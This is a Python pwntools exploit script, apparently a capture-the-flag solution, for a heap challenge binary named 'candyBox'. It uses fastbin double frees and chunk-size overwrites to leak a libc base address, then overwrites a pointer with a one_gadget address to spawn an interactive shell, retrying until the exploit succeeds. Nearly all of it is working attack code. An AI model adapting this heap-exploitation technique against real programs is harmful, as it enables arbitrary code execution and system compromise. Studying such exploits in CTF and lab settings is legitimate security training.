#!/usr/bin/python3
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
global p
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Add(size, content):
    p.sendlineafter('Remove a candy:', '1')
    p.sendlineafter('Size: ', str(size))
    p.sendafter('Taste: ', content)

def Delete(index):
    p.sendlineafter('Remove a candy:', '2')
    p.sendlineafter('id:', str(index))
    p.sendlineafter('serious?', 'yes')

def pwn():
    global p
    p = process('./candyBox')

    Add(0x8, '\x00'*0x8)
    Add(0x8, '\x00'*0x8)
    Add(0x9, 'A'*8 + '\x31') #2
    Add(0x9, 'A'*8 + '\x31') #3
    Add(0x9, 'A'*8 + '\x31') #4
    Add(0x9, 'A'*8 + '\x31') #5
    Add(0x9, 'A'*8 + '\x31') #6
    Add(0x9, 'A'*8 + '\x31') #7
    Add(0x9, 'A'*8 + '\x31') #8

    Delete(2)
    Add(0x8, '\x00'*8)
    Delete(4)
    Add(0x8, '\x00'*8)

    Delete(0)
    Delete(1)
    Delete(0)

    # 修改chunk size
    Add(0x2, '\x70\x00')
    Add(0x8, '\x00'*8)
    gdb.attach(p, 'b * $rebase(0x10e0)\nc')
    Add(0x1a, 'A'*0x18 + '\xc1\x00')

    Delete(0)
    Delete(1)
    Delete(0)
    Add(0x2, '\xd0\x00')
    Add(0x8, '\x00'*8)
    Add(0x8, '\x00'*8)
    Add(0x8, '\x00'*8)

    try:
        Add(0xb, 'A'*8 + '\x60\x49\x00')

        Delete(3)

        Add(0x8, '\x00'*8)

        # leak libc address
        Delete(4)
        libc_base = u64(p.recvuntil('\x7f\x0a')[-7:-1] + b'\x00\x00') - 0x3c4b78
        libc.address = libc_base
        info("libc_base ==> " + hex(libc_base))
    except:
        p.close()
        return 0

    one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]

    Delete(0)
    Add(0x20, b'A'*0x18 + p64(one_gadget[1] + libc_base))
    Delete(4)
    p.interactive()
    p.close()
    return 1

if __name__ == '__main__':
    while True:
        a = pwn()
        if a:
            break
